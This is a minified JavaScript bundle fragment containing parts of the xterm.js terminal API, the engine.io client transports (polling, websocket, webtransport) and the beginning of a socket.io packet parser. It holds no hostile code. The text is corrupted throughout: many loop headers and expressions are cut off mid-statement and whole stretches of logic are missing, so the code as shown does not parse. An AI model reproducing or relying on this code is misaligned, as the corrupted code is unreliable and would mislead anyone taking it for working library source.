u;a.IBufferService=(0,l.createDecorator)("BufferService"),a.ICoreMouseService=(0,l.createDecorator)("CoreMouseService"),a.ICoreService=(0,l.createDecorator)("CoreService"),a.ICharsetService=(0,l.createDecorator)("CharsetService"),a.IInstantiationService=(0,l.createDecorator)("InstantiationService"),function(h){h[h.TRACE=0]="TRACE",h[h.DEBUG=1]="DEBUG",h[h.INFO=2]="INFO",h[h.WARN=3]="WARN",h[h.ERROR=4]="ERROR",h[h.OFF=5]="OFF"}(u||(a.LogLevelEnum=u={})),a.ILogService=(0,l.createDecorator)("LogService"),a.IOptionsService=(0,l.createDecorator)("OptionsService"),a.IOscLinkService=(0,l.createDecorator)("OscLinkService"),a.IUnicodeService=(0,l.createDecorator)("UnicodeService"),a.IDecorationService=(0,l.createDecorator)("DecorationService")},1480:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.UnicodeService=void 0;const l=c(8460),u=c(225);a.UnicodeService=class{constructor(){this._providers=Object.create(null),this._active="",this._onChange=new l.EventEmitter,this.onChange=this._onChange.event;const h=new u.UnicodeV6;this.register(h),this._active=h.version,this._activeProvider=h}dispose(){this._onChange.dispose()}get versions(){return Object.keys(this._providers)}get activeVersion(){return this._active}set activeVersion(h){if(!this._providers[h])throw new Error(`unknown Unicode version "${h}"`);this._active=h,this._activeProvider=this._providers[h],this._onChange.fire(h)}register(h){this._providers[h.version]=h}wcwidth(h){return this._activeProvider.wcwidth(h)}getStringCellWidth(h){let d=0;const p=h.length;for(let m=0;m=p)return d+this.wcwidth(v);const g=h.charCodeAt(m);56320<=g&&g<=57343?v=1024*(v-55296)+g-56320+65536:d+=this.wcwidth(g)}d+=this.wcwidth(v)}return d}}}},n={};function i(o){var a=n[o];if(a!==void 0)return a.exports;var c=n[o]={exports:{}};return t[o].call(c.exports,c,c.exports,i),c.exports}var r={};return(()=>{var o=r;Object.defineProperty(o,"__esModule",{value:!0}),o.Terminal=void 0;const a=i(9042),c=i(3236),l=i(844),u=i(5741),h=i(8285),d=i(7975),p=i(7090),m=["cols","rows"];class v extends l.Disposable{constructor(y){super(),this._core=this.register(new c.Terminal(y)),this._addonManager=this.register(new u.AddonManager),this._publicOptions=Object.assign({},this._core.options);const b=w=>this._core.options[w],_=(w,S)=>{this._checkReadonlyOptions(w),this._core.options[w]=S};for(const w in this._core.options){const S={get:b.bind(this,w),set:_.bind(this,w)};Object.defineProperty(this._publicOptions,w,S)}}_checkReadonlyOptions(y){if(m.includes(y))throw new Error(`Option "${y}" can only be set in the constructor`)}_checkProposedApi(){if(!this._core.optionsService.rawOptions.allowProposedApi)throw new Error("You must set the allowProposedApi option to true to use proposed API")}get onBell(){return this._core.onBell}get onBinary(){return this._core.onBinary}get onCursorMove(){return this._core.onCursorMove}get onData(){return this._core.onData}get onKey(){return this._core.onKey}get onLineFeed(){return this._core.onLineFeed}get onRender(){return this._core.onRender}get onResize(){return this._core.onResize}get onScroll(){return this._core.onScroll}get onSelectionChange(){return this._core.onSelectionChange}get onTitleChange(){return this._core.onTitleChange}get onWriteParsed(){return this._core.onWriteParsed}get element(){return this._core.element}get parser(){return this._parser||(this._parser=new d.ParserApi(this._core)),this._parser}get unicode(){return this._checkProposedApi(),new p.UnicodeApi(this._core)}get textarea(){return this._core.textarea}get rows(){return this._core.rows}get cols(){return this._core.cols}get buffer(){return this._buffer||(this._buffer=this.register(new h.BufferNamespaceApi(this._core))),this._buffer}get markers(){return this._checkProposedApi(),this._core.markers}get modes(){const y=this._core.coreService.decPrivateModes;let b="none";switch(this._core.coreMouseService.activeProtocol){case"X10":b="x10";break;case"VT200":b="vt200";break;case"DRAG":b="drag";break;case"ANY":b="any"}return{applicationCursorKeysMode:y.applicationCursorKeys,applicationKeypadMode:y.applicationKeypad,bracketedPasteMode:y.bracketedPasteMode,insertMode:this._core.coreService.modes.insertMode,mouseTrackingMode:b,originMode:y.origin,reverseWraparoundMode:y.reverseWraparound,sendFocusMode:y.sendFocus,wraparoundMode:y.wraparound}}get options(){return this._publicOptions}set options(y){for(const b in y)this._publicOptions[b]=y[b]}blur(){this._core.blur()}focus(){this._core.focus()}resize(y,b){this._verifyIntegers(y,b),this._core.resize(y,b)}open(y){this._core.open(y)}attachCustomKeyEventHandler(y){this._core.attachCustomKeyEventHandler(y)}registerLinkProvider(y){return this._core.registerLinkProvider(y)}registerCharacterJoiner(y){return this._checkProposedApi(),this._core.registerCharacterJoiner(y)}deregisterCharacterJoiner(y){this._checkProposedApi(),this._core.deregisterCharacterJoiner(y)}registerMarker(y=0){return this._verifyIntegers(y),this._core.registerMarker(y)}registerDecoration(y){var b,_,w;return this._checkProposedApi(),this._verifyPositiveIntegers((b=y.x)!==null&&b!==void 0?b:0,(_=y.width)!==null&&_!==void 0?_:0,(w=y.height)!==null&&w!==void 0?w:0),this._core.registerDecoration(y)}hasSelection(){return this._core.hasSelection()}select(y,b,_){this._verifyIntegers(y,b,_),this._core.select(y,b,_)}getSelection(){return this._core.getSelection()}getSelectionPosition(){return this._core.getSelectionPosition()}clearSelection(){this._core.clearSelection()}selectAll(){this._core.selectAll()}selectLines(y,b){this._verifyIntegers(y,b),this._core.selectLines(y,b)}dispose(){super.dispose()}scrollLines(y){this._verifyIntegers(y),this._core.scrollLines(y)}scrollPages(y){this._verifyIntegers(y),this._core.scrollPages(y)}scrollToTop(){this._core.scrollToTop()}scrollToBottom(){this._core.scrollToBottom()}scrollToLine(y){this._verifyIntegers(y),this._core.scrollToLine(y)}clear(){this._core.clear()}write(y,b){this._core.write(y,b)}writeln(y,b){this._core.write(y),this._core.write(`\r +`,b)}paste(y){this._core.paste(y)}refresh(y,b){this._verifyIntegers(y,b),this._core.refresh(y,b)}reset(){this._core.reset()}clearTextureAtlas(){this._core.clearTextureAtlas()}loadAddon(y){this._addonManager.loadAddon(this,y)}static get strings(){return a}_verifyIntegers(...y){for(const b of y)if(b===1/0||isNaN(b)||b%1!=0)throw new Error("This API only accepts integers")}_verifyPositiveIntegers(...y){for(const b of y)if(b&&(b===1/0||isNaN(b)||b%1!=0||b<0))throw new Error("This API only accepts positive integers")}}o.Terminal=v})(),r})())})(eL);var cz=eL.exports;const rl=Object.create(null);rl.open="0";rl.close="1";rl.ping="2";rl.pong="3";rl.message="4";rl.upgrade="5";rl.noop="6";const oS=Object.create(null);Object.keys(rl).forEach(s=>{oS[rl[s]]=s});const w1={type:"error",data:"parser error"},sL=typeof Blob=="function"||typeof Blob<"u"&&Object.prototype.toString.call(Blob)==="[object BlobConstructor]",nL=typeof ArrayBuffer=="function",iL=s=>typeof ArrayBuffer.isView=="function"?ArrayBuffer.isView(s):s&&s.buffer instanceof ArrayBuffer,dE=({type:s,data:e},t,n)=>sL&&e instanceof Blob?t?n(e):ZM(e,n):nL&&(e instanceof ArrayBuffer||iL(e))?t?n(e):ZM(new Blob([e]),n):n(rl[s]+(e||"")),ZM=(s,e)=>{const t=new FileReader;return t.onload=function(){const n=t.result.split(",")[1];e("b"+(n||""))},t.readAsDataURL(s)};function ex(s){return s instanceof Uint8Array?s:s instanceof ArrayBuffer?new Uint8Array(s):new Uint8Array(s.buffer,s.byteOffset,s.byteLength)}let nC;function uz(s,e){if(sL&&s.data instanceof Blob)return s.data.arrayBuffer().then(ex).then(e);if(nL&&(s.data instanceof ArrayBuffer||iL(s.data)))return e(ex(s.data));dE(s,!1,t=>{nC||(nC=new TextEncoder),e(nC.encode(t))})}const tx="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",Im=typeof Uint8Array>"u"?[]:new Uint8Array(256);for(let s=0;s{let e=s.length*.75,t=s.length,n,i=0,r,o,a,c;s[s.length-1]==="="&&(e--,s[s.length-2]==="="&&e--);const l=new ArrayBuffer(e),u=new Uint8Array(l);for(n=0;n>4,u[i++]=(o&15)<<4|a>>2,u[i++]=(a&3)<<6|c&63;return l},dz=typeof ArrayBuffer=="function",fE=(s,e)=>{if(typeof s!="string")return{type:"message",data:rL(s,e)};const t=s.charAt(0);return t==="b"?{type:"message",data:fz(s.substring(1),e)}:oS[t]?s.length>1?{type:oS[t],data:s.substring(1)}:{type:oS[t]}:w1},fz=(s,e)=>{if(dz){const t=hz(s);return rL(t,e)}else return{base64:!0,data:s}},rL=(s,e)=>{switch(e){case"blob":return s instanceof Blob?s:new Blob([s]);case"arraybuffer":default:return s instanceof ArrayBuffer?s:s.buffer}},oL="",pz=(s,e)=>{const t=s.length,n=new Array(t);let i=0;s.forEach((r,o)=>{dE(r,!1,a=>{n[o]=a,++i===t&&e(n.join(oL))})})},gz=(s,e)=>{const t=s.split(oL),n=[];for(let i=0;i{const n=t.length;let i;if(n<126)i=new Uint8Array(1),new DataView(i.buffer).setUint8(0,n);else if(n<65536){i=new Uint8Array(3);const r=new DataView(i.buffer);r.setUint8(0,126),r.setUint16(1,n)}else{i=new Uint8Array(9);const r=new DataView(i.buffer);r.setUint8(0,127),r.setBigUint64(1,BigInt(n))}s.data&&typeof s.data!="string"&&(i[0]|=128),e.enqueue(i),e.enqueue(t)})}})}let iC;function C_(s){return s.reduce((e,t)=>e+t.length,0)}function T_(s,e){if(s[0].length===e)return s.shift();const t=new Uint8Array(e);let n=0;for(let i=0;iMath.pow(2,21)-1){a.enqueue(w1);break}i=u*Math.pow(2,32)+l.getUint32(4),n=3}else{if(C_(t)s){a.enqueue(w1);break}}}})}const aL=4;function _n(s){if(s)return yz(s)}function yz(s){for(var e in _n.prototype)s[e]=_n.prototype[e];return s}_n.prototype.on=_n.prototype.addEventListener=function(s,e){return this._callbacks=this._callbacks||{},(this._callbacks["$"+s]=this._callbacks["$"+s]||[]).push(e),this};_n.prototype.once=function(s,e){function t(){this.off(s,t),e.apply(this,arguments)}return t.fn=e,this.on(s,t),this};_n.prototype.off=_n.prototype.removeListener=_n.prototype.removeAllListeners=_n.prototype.removeEventListener=function(s,e){if(this._callbacks=this._callbacks||{},arguments.length==0)return this._callbacks={},this;var t=this._callbacks["$"+s];if(!t)return this;if(arguments.length==1)return delete this._callbacks["$"+s],this;for(var n,i=0;iPromise.resolve().then(e):(e,t)=>t(e,0),xo=typeof self<"u"?self:typeof window<"u"?window:Function("return this")(),bz="arraybuffer";function lL(s,...e){return e.reduce((t,n)=>(s.hasOwnProperty(n)&&(t[n]=s[n]),t),{})}const _z=xo.setTimeout,Sz=xo.clearTimeout;function Q0(s,e){e.useNativeTimers?(s.setTimeoutFn=_z.bind(xo),s.clearTimeoutFn=Sz.bind(xo)):(s.setTimeoutFn=xo.setTimeout.bind(xo),s.clearTimeoutFn=xo.clearTimeout.bind(xo))}const wz=1.33;function kz(s){return typeof s=="string"?Cz(s):Math.ceil((s.byteLength||s.size)*wz)}function Cz(s){let e=0,t=0;for(let n=0,i=s.length;n=57344?t+=3:(n++,t+=4);return t}function cL(){return Date.now().toString(36).substring(3)+Math.random().toString(36).substring(2,5)}function Tz(s){let e="";for(let t in s)s.hasOwnProperty(t)&&(e.length&&(e+="&"),e+=encodeURIComponent(t)+"="+encodeURIComponent(s[t]));return e}function Az(s){let e={},t=s.split("&");for(let n=0,i=t.length;n{this.readyState="paused",e()};if(this._polling||!this.writable){let n=0;this._polling&&(n++,this.once("pollComplete",function(){--n||t()})),this.writable||(n++,this.once("drain",function(){--n||t()}))}else t()}_poll(){this._polling=!0,this.doPoll(),this.emitReserved("poll")}onData(e){const t=n=>{if(this.readyState==="opening"&&n.type==="open"&&this.onOpen(),n.type==="close")return this.onClose({description:"transport closed by the server"}),!1;this.onPacket(n)};gz(e,this.socket.binaryType).forEach(t),this.readyState!=="closed"&&(this._polling=!1,this.emitReserved("pollComplete"),this.readyState==="open"&&this._poll())}doClose(){const e=()=>{this.write([{type:"close"}])};this.readyState==="open"?e():this.once("open",e)}write(e){this.writable=!1,pz(e,t=>{this.doWrite(t,()=>{this.writable=!0,this.emitReserved("drain")})})}uri(){const e=this.opts.secure?"https":"http",t=this.query||{};return this.opts.timestampRequests!==!1&&(t[this.opts.timestampParam]=cL()),!this.supportsBinary&&!t.sid&&(t.b64=1),this.createUri(e,t)}}let uL=!1;try{uL=typeof XMLHttpRequest<"u"&&"withCredentials"in new XMLHttpRequest}catch{}const xz=uL;function Iz(){}class Rz extends Mz{constructor(e){if(super(e),typeof location<"u"){const t=location.protocol==="https:";let n=location.port;n||(n=t?"443":"80"),this.xd=typeof location<"u"&&e.hostname!==location.hostname||n!==e.port}}doWrite(e,t){const n=this.request({method:"POST",data:e});n.on("success",t),n.on("error",(i,r)=>{this.onError("xhr post error",i,r)})}doPoll(){const e=this.request();e.on("data",this.onData.bind(this)),e.on("error",(t,n)=>{this.onError("xhr poll error",t,n)}),this.pollXhr=e}}class il extends _n{constructor(e,t,n){super(),this.createRequest=e,Q0(this,n),this._opts=n,this._method=n.method||"GET",this._uri=t,this._data=n.data!==void 0?n.data:null,this._create()}_create(){var e;const t=lL(this._opts,"agent","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","autoUnref");t.xdomain=!!this._opts.xd;const n=this._xhr=this.createRequest(t);try{n.open(this._method,this._uri,!0);try{if(this._opts.extraHeaders){n.setDisableHeaderCheck&&n.setDisableHeaderCheck(!0);for(let i in this._opts.extraHeaders)this._opts.extraHeaders.hasOwnProperty(i)&&n.setRequestHeader(i,this._opts.extraHeaders[i])}}catch{}if(this._method==="POST")try{n.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch{}try{n.setRequestHeader("Accept","*/*")}catch{}(e=this._opts.cookieJar)===null||e===void 0||e.addCookies(n),"withCredentials"in n&&(n.withCredentials=this._opts.withCredentials),this._opts.requestTimeout&&(n.timeout=this._opts.requestTimeout),n.onreadystatechange=()=>{var i;n.readyState===3&&((i=this._opts.cookieJar)===null||i===void 0||i.parseCookies(n.getResponseHeader("set-cookie"))),n.readyState===4&&(n.status===200||n.status===1223?this._onLoad():this.setTimeoutFn(()=>{this._onError(typeof n.status=="number"?n.status:0)},0))},n.send(this._data)}catch(i){this.setTimeoutFn(()=>{this._onError(i)},0);return}typeof document<"u"&&(this._index=il.requestsCount++,il.requests[this._index]=this)}_onError(e){this.emitReserved("error",e,this._xhr),this._cleanup(!0)}_cleanup(e){if(!(typeof this._xhr>"u"||this._xhr===null)){if(this._xhr.onreadystatechange=Iz,e)try{this._xhr.abort()}catch{}typeof document<"u"&&delete il.requests[this._index],this._xhr=null}}_onLoad(){const e=this._xhr.responseText;e!==null&&(this.emitReserved("data",e),this.emitReserved("success"),this._cleanup())}abort(){this._cleanup()}}il.requestsCount=0;il.requests={};if(typeof document<"u"){if(typeof attachEvent=="function")attachEvent("onunload",sx);else if(typeof addEventListener=="function"){const s="onpagehide"in xo?"pagehide":"unload";addEventListener(s,sx,!1)}}function sx(){for(let s in il.requests)il.requests.hasOwnProperty(s)&&il.requests[s].abort()}const Lz=function(){const s=hL({xdomain:!1});return s&&s.responseType!==null}();class Pz extends Rz{constructor(e){super(e);const t=e&&e.forceBase64;this.supportsBinary=Lz&&!t}request(e={}){return Object.assign(e,{xd:this.xd},this.opts),new il(hL,this.uri(),e)}}function hL(s){const e=s.xdomain;try{if(typeof XMLHttpRequest<"u"&&(!e||xz))return new XMLHttpRequest}catch{}if(!e)try{return new xo[["Active"].concat("Object").join("X")]("Microsoft.XMLHTTP")}catch{}}const dL=typeof navigator<"u"&&typeof navigator.product=="string"&&navigator.product.toLowerCase()==="reactnative";class Oz extends pE{get name(){return"websocket"}doOpen(){const e=this.uri(),t=this.opts.protocols,n=dL?{}:lL(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=this.createSocket(e,t,n)}catch(i){return this.emitReserved("error",i)}this.ws.binaryType=this.socket.binaryType,this.addEventListeners()}addEventListeners(){this.ws.onopen=()=>{this.opts.autoUnref&&this.ws._socket.unref(),this.onOpen()},this.ws.onclose=e=>this.onClose({description:"websocket connection closed",context:e}),this.ws.onmessage=e=>this.onData(e.data),this.ws.onerror=e=>this.onError("websocket error",e)}write(e){this.writable=!1;for(let t=0;t{try{this.doWrite(n,r)}catch{}i&&K0(()=>{this.writable=!0,this.emitReserved("drain")},this.setTimeoutFn)})}}doClose(){typeof this.ws<"u"&&(this.ws.onerror=()=>{},this.ws.close(),this.ws=null)}uri(){const e=this.opts.secure?"wss":"ws",t=this.query||{};return this.opts.timestampRequests&&(t[this.opts.timestampParam]=cL()),this.supportsBinary||(t.b64=1),this.createUri(e,t)}}const rC=xo.WebSocket||xo.MozWebSocket;let Dz=class extends Oz{createSocket(e,t,n){return dL?new rC(e,t,n):t?new rC(e,t):new rC(e)}doWrite(e,t){this.ws.send(t)}};class Nz extends pE{get name(){return"webtransport"}doOpen(){try{this._transport=new WebTransport(this.createUri("https"),this.opts.transportOptions[this.name])}catch(e){return this.emitReserved("error",e)}this._transport.closed.then(()=>{this.onClose()}).catch(e=>{this.onError("webtransport error",e)}),this._transport.ready.then(()=>{this._transport.createBidirectionalStream().then(e=>{const t=vz(Number.MAX_SAFE_INTEGER,this.socket.binaryType),n=e.readable.pipeThrough(t).getReader(),i=mz();i.readable.pipeTo(e.writable),this._writer=i.writable.getWriter();const r=()=>{n.read().then(({done:a,value:c})=>{a||(this.onPacket(c),r())}).catch(a=>{})};r();const o={type:"open"};this.query.sid&&(o.data=`{"sid":"${this.query.sid}"}`),this._writer.write(o).then(()=>this.onOpen())})})}write(e){this.writable=!1;for(let t=0;t{i&&K0(()=>{this.writable=!0,this.emitReserved("drain")},this.setTimeoutFn)})}}doClose(){var e;(e=this._transport)===null||e===void 0||e.close()}}const Bz={websocket:Dz,webtransport:Nz,polling:Pz},Fz=/^(?:(?![^:@\/?#]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@\/?#]*)(?::([^:@\/?#]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/,$z=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];function k1(s){if(s.length>8e3)throw"URI too long";const e=s,t=s.indexOf("["),n=s.indexOf("]");t!=-1&&n!=-1&&(s=s.substring(0,t)+s.substring(t,n).replace(/:/g,";")+s.substring(n,s.length));let i=Fz.exec(s||""),r={},o=14;for(;o--;)r[$z[o]]=i[o]||"";return t!=-1&&n!=-1&&(r.source=e,r.host=r.host.substring(1,r.host.length-1).replace(/;/g,":"),r.authority=r.authority.replace("[","").replace("]","").replace(/;/g,":"),r.ipv6uri=!0),r.pathNames=Hz(r,r.path),r.queryKey=Uz(r,r.query),r}function Hz(s,e){const t=/\/{2,9}/g,n=e.replace(t,"/").split("/");return(e.slice(0,1)=="/"||e.length===0)&&n.splice(0,1),e.slice(-1)=="/"&&n.splice(n.length-1,1),n}function Uz(s,e){const t={};return e.replace(/(?:^|&)([^&=]*)=?([^&]*)/g,function(n,i,r){i&&(t[i]=r)}),t}const C1=typeof addEventListener=="function"&&typeof removeEventListener=="function",aS=[];C1&&addEventListener("offline",()=>{aS.forEach(s=>s())},!1);class sh extends _n{constructor(e,t){if(super(),this.binaryType=bz,this.writeBuffer=[],this._prevBufferLen=0,this._pingInterval=-1,this._pingTimeout=-1,this._maxPayload=-1,this._pingTimeoutTime=1/0,e&&typeof e=="object"&&(t=e,e=null),e){const n=k1(e);t.hostname=n.host,t.secure=n.protocol==="https"||n.protocol==="wss",t.port=n.port,n.query&&(t.query=n.query)}else t.host&&(t.hostname=k1(t.host).host);Q0(this,t),this.secure=t.secure!=null?t.secure:typeof location<"u"&&location.protocol==="https:",t.hostname&&!t.port&&(t.port=this.secure?"443":"80"),this.hostname=t.hostname||(typeof location<"u"?location.hostname:"localhost"),this.port=t.port||(typeof location<"u"&&location.port?location.port:this.secure?"443":"80"),this.transports=[],this._transportsByName={},t.transports.forEach(n=>{const i=n.prototype.name;this.transports.push(i),this._transportsByName[i]=n}),this.opts=Object.assign({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,timestampParam:"t",rememberUpgrade:!1,addTrailingSlash:!0,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{},closeOnBeforeunload:!1},t),this.opts.path=this.opts.path.replace(/\/$/,"")+(this.opts.addTrailingSlash?"/":""),typeof this.opts.query=="string"&&(this.opts.query=Az(this.opts.query)),C1&&(this.opts.closeOnBeforeunload&&(this._beforeunloadEventListener=()=>{this.transport&&(this.transport.removeAllListeners(),this.transport.close())},addEventListener("beforeunload",this._beforeunloadEventListener,!1)),this.hostname!=="localhost"&&(this._offlineEventListener=()=>{this._onClose("transport close",{description:"network connection lost"})},aS.push(this._offlineEventListener))),this.opts.withCredentials&&(this._cookieJar=void 0),this._open()}createTransport(e){const t=Object.assign({},this.opts.query);t.EIO=aL,t.transport=e,this.id&&(t.sid=this.id);const n=Object.assign({},this.opts,{query:t,socket:this,hostname:this.hostname,secure:this.secure,port:this.port},this.opts.transportOptions[e]);return new this._transportsByName[e](n)}_open(){if(this.transports.length===0){this.setTimeoutFn(()=>{this.emitReserved("error","No transports available")},0);return}const e=this.opts.rememberUpgrade&&sh.priorWebsocketSuccess&&this.transports.indexOf("websocket")!==-1?"websocket":this.transports[0];this.readyState="opening";const t=this.createTransport(e);t.open(),this.setTransport(t)}setTransport(e){this.transport&&this.transport.removeAllListeners(),this.transport=e,e.on("drain",this._onDrain.bind(this)).on("packet",this._onPacket.bind(this)).on("error",this._onError.bind(this)).on("close",t=>this._onClose("transport close",t))}onOpen(){this.readyState="open",sh.priorWebsocketSuccess=this.transport.name==="websocket",this.emitReserved("open"),this.flush()}_onPacket(e){if(this.readyState==="opening"||this.readyState==="open"||this.readyState==="closing")switch(this.emitReserved("packet",e),this.emitReserved("heartbeat"),e.type){case"open":this.onHandshake(JSON.parse(e.data));break;case"ping":this._sendPacket("pong"),this.emitReserved("ping"),this.emitReserved("pong"),this._resetPingTimeout();break;case"error":const t=new Error("server error");t.code=e.data,this._onError(t);break;case"message":this.emitReserved("data",e.data),this.emitReserved("message",e.data);break}}onHandshake(e){this.emitReserved("handshake",e),this.id=e.sid,this.transport.query.sid=e.sid,this._pingInterval=e.pingInterval,this._pingTimeout=e.pingTimeout,this._maxPayload=e.maxPayload,this.onOpen(),this.readyState!=="closed"&&this._resetPingTimeout()}_resetPingTimeout(){this.clearTimeoutFn(this._pingTimeoutTimer);const e=this._pingInterval+this._pingTimeout;this._pingTimeoutTime=Date.now()+e,this._pingTimeoutTimer=this.setTimeoutFn(()=>{this._onClose("ping timeout")},e),this.opts.autoUnref&&this._pingTimeoutTimer.unref()}_onDrain(){this.writeBuffer.splice(0,this._prevBufferLen),this._prevBufferLen=0,this.writeBuffer.length===0?this.emitReserved("drain"):this.flush()}flush(){if(this.readyState!=="closed"&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length){const e=this._getWritablePackets();this.transport.send(e),this._prevBufferLen=e.length,this.emitReserved("flush")}}_getWritablePackets(){if(!(this._maxPayload&&this.transport.name==="polling"&&this.writeBuffer.length>1))return this.writeBuffer;let t=1;for(let n=0;n0&&t>this._maxPayload)return this.writeBuffer.slice(0,n);t+=2}return this.writeBuffer}_hasPingExpired(){if(!this._pingTimeoutTime)return!0;const e=Date.now()>this._pingTimeoutTime;return e&&(this._pingTimeoutTime=0,K0(()=>{this._onClose("ping timeout")},this.setTimeoutFn)),e}write(e,t,n){return this._sendPacket("message",e,t,n),this}send(e,t,n){return this._sendPacket("message",e,t,n),this}_sendPacket(e,t,n,i){if(typeof t=="function"&&(i=t,t=void 0),typeof n=="function"&&(i=n,n=null),this.readyState==="closing"||this.readyState==="closed")return;n=n||{},n.compress=n.compress!==!1;const r={type:e,data:t,options:n};this.emitReserved("packetCreate",r),this.writeBuffer.push(r),i&&this.once("flush",i),this.flush()}close(){const e=()=>{this._onClose("forced close"),this.transport.close()},t=()=>{this.off("upgrade",t),this.off("upgradeError",t),e()},n=()=>{this.once("upgrade",t),this.once("upgradeError",t)};return(this.readyState==="opening"||this.readyState==="open")&&(this.readyState="closing",this.writeBuffer.length?this.once("drain",()=>{this.upgrading?n():e()}):this.upgrading?n():e()),this}_onError(e){if(sh.priorWebsocketSuccess=!1,this.opts.tryAllTransports&&this.transports.length>1&&this.readyState==="opening")return this.transports.shift(),this._open();this.emitReserved("error",e),this._onClose("transport error",e)}_onClose(e,t){if(this.readyState==="opening"||this.readyState==="open"||this.readyState==="closing"){if(this.clearTimeoutFn(this._pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),C1&&(this._beforeunloadEventListener&&removeEventListener("beforeunload",this._beforeunloadEventListener,!1),this._offlineEventListener)){const n=aS.indexOf(this._offlineEventListener);n!==-1&&aS.splice(n,1)}this.readyState="closed",this.id=null,this.emitReserved("close",e,t),this.writeBuffer=[],this._prevBufferLen=0}}}sh.protocol=aL;class Wz extends sh{constructor(){super(...arguments),this._upgrades=[]}onOpen(){if(super.onOpen(),this.readyState==="open"&&this.opts.upgrade)for(let e=0;e{n||(t.send([{type:"ping",data:"probe"}]),t.once("packet",h=>{if(!n)if(h.type==="pong"&&h.data==="probe"){if(this.upgrading=!0,this.emitReserved("upgrading",t),!t)return;sh.priorWebsocketSuccess=t.name==="websocket",this.transport.pause(()=>{n||this.readyState!=="closed"&&(u(),this.setTransport(t),t.send([{type:"upgrade"}]),this.emitReserved("upgrade",t),t=null,this.upgrading=!1,this.flush())})}else{const d=new Error("probe error");d.transport=t.name,this.emitReserved("upgradeError",d)}}))};function r(){n||(n=!0,u(),t.close(),t=null)}const o=h=>{const d=new Error("probe error: "+h);d.transport=t.name,r(),this.emitReserved("upgradeError",d)};function a(){o("transport closed")}function c(){o("socket closed")}function l(h){t&&h.name!==t.name&&r()}const u=()=>{t.removeListener("open",i),t.removeListener("error",o),t.removeListener("close",a),this.off("close",c),this.off("upgrading",l)};t.once("open",i),t.once("error",o),t.once("close",a),this.once("close",c),this.once("upgrading",l),this._upgrades.indexOf("webtransport")!==-1&&e!=="webtransport"?this.setTimeoutFn(()=>{n||t.open()},200):t.open()}onHandshake(e){this._upgrades=this._filterUpgrades(e.upgrades),super.onHandshake(e)}_filterUpgrades(e){const t=[];for(let n=0;nBz[i]).filter(i=>!!i)),super(e,n)}};function jz(s,e="",t){let n=s;t=t||typeof location<"u"&&location,s==null&&(s=t.protocol+"//"+t.host),typeof s=="string"&&(s.charAt(0)==="/"&&(s.charAt(1)==="/"?s=t.protocol+s:s=t.host+s),/^(https?|wss?):\/\//.test(s)||(typeof t<"u"?s=t.protocol+"//"+s:s="https://"+s),n=k1(s)),n.port||(/^(http|ws)$/.test(n.protocol)?n.port="80":/^(http|ws)s$/.test(n.protocol)&&(n.port="443")),n.path=n.path||"/";const r=n.host.indexOf(":")!==-1?"["+n.host+"]":n.host;return n.id=n.protocol+"://"+r+":"+n.port+e,n.href=n.protocol+"://"+r+(t&&t.port===n.port?"":":"+n.port),n}const Vz=typeof ArrayBuffer=="function",Gz=s=>typeof ArrayBuffer.isView=="function"?ArrayBuffer.isView(s):s.buffer instanceof ArrayBuffer,fL=Object.prototype.toString,qz=typeof Blob=="function"||typeof Blob<"u"&&fL.call(Blob)==="[object BlobConstructor]",Kz=typeof File=="function"||typeof File<"u"&&fL.call(File)==="[object FileConstructor]";function gE(s){return Vz&&(s instanceof ArrayBuffer||Gz(s))||qz&&s instanceof Blob||Kz&&s instanceof File}function lS(s,e){if(!s||typeof s!="object")return!1;if(Array.isArray(s)){for(let t=0,n=s.length;t=0&&s.numthis.opts.maxAttachments)throw new Error("too many attachments");n.attachments=a}if(e.charAt(t+1)==="/"){const r=t+1;for(;++t&&!(e.charAt(t)===","||t===e.length););n.nsp=e.substring(r,t)}else n.nsp="/";const i=e.charAt(t+1);if(i!==""&&Number(i)==i){const r=t+1;for(;++t;){const o=e.charAt(t);if(o==null||Number(o)!=o){--t;break}if(t===e.length)break}n.id=Number(e.substring(r,t+1))}if(e.charAt(++t)){const r=this.tryParse(e.substr(t));if(mE.isPayloadValid(n.type,r))n.data=r;else throw new Error("invalid payload")}return n}tryParse(e){try{return JSON.parse(e,this.opts.reviver)}catch{return!1}}static isPayloadValid(e,t){switch(e){case Gt.CONNECT:return nx(t);case Gt.DISCONNECT:return t===void 0;case Gt.CONNECT_ERROR:return typeof t=="string"||nx(t);case Gt.EVENT:case Gt.BINARY_EVENT:return Array.isArray(t)&&(typeof t[0]=="number"||typeof t[0]=="string"&&Yz.indexOf(t[0])===-1);case Gt.ACK:case Gt.BINARY_ACK:return Array.isArray(t)}}destroy(){this.reconstructor&&(this.reconstructor.finishedReconstruction(),this.reconstructor=null)}}class Zz{constructor(e){this.packet=e,this.buffers=[],this.reconPack=e}takeBinaryData(e){if(this.buffers.push(e),this.buffers.length===this.reconPack.attachments){const t=Xz(this.reconPack,this.buffers);return this.finishedReconstruction(),t}return null}finishedReconstruction(){this.reconPack=null,this.buffers=[]}}const ej=Number.isInteger||function(s){return typeof s=="number"&&isFinite(s)&&Math.floor(s)===s};function nx(s){return Object.prototype.toString.call(s)==="[object Object]"}const tj=Object.freeze(Object.defineProperty({__proto__:null,Decoder:mE,Encoder:Jz,get PacketType(){return Gt}},Symbol.toStringTag,{value:"Module"}));function da(s,e,t){return s.on(e,t),function(){s.off(e,t)}}const sj=Object.freeze({connect:1,connect_error:1,disconnect:1,disconnecting:1,newListener:1,removeListener:1});class pL extends 